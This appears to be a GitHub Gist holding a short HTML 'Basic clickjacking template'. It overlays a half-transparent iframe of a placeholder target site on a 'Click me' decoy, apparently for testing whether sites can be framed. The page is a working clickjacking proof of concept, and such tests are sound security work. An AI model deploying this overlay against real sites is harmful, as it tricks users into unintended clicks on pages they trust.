Last active
March 30, 2022 12:14
-
-
Save VictorNS69/a2fe34b0ea8bd31742f13d8b0fd3ffc9 to your computer and use it in GitHub Desktop.
Basic clickjacking template
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<meta charset="utf-8"> | |
<title>Clickjacking Test</title> | |
<style> | |
iframe { | |
position: relative; | |
width: 500px; | |
height: 700px; | |
opacity: 0.5; | |
z-index: 2; | |
} | |
div { | |
position: absolute; | |
top: 470px; | |
left: 60px; | |
z-index: 1; | |
} | |
</style> | |
</head> | |
<body> | |
<h1>Clickjacking Test</h1> | |
<div><b>Click me</b></div> | |
<!-- Put your target here --> | |
<iframe src="http://target.com"></iframe> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment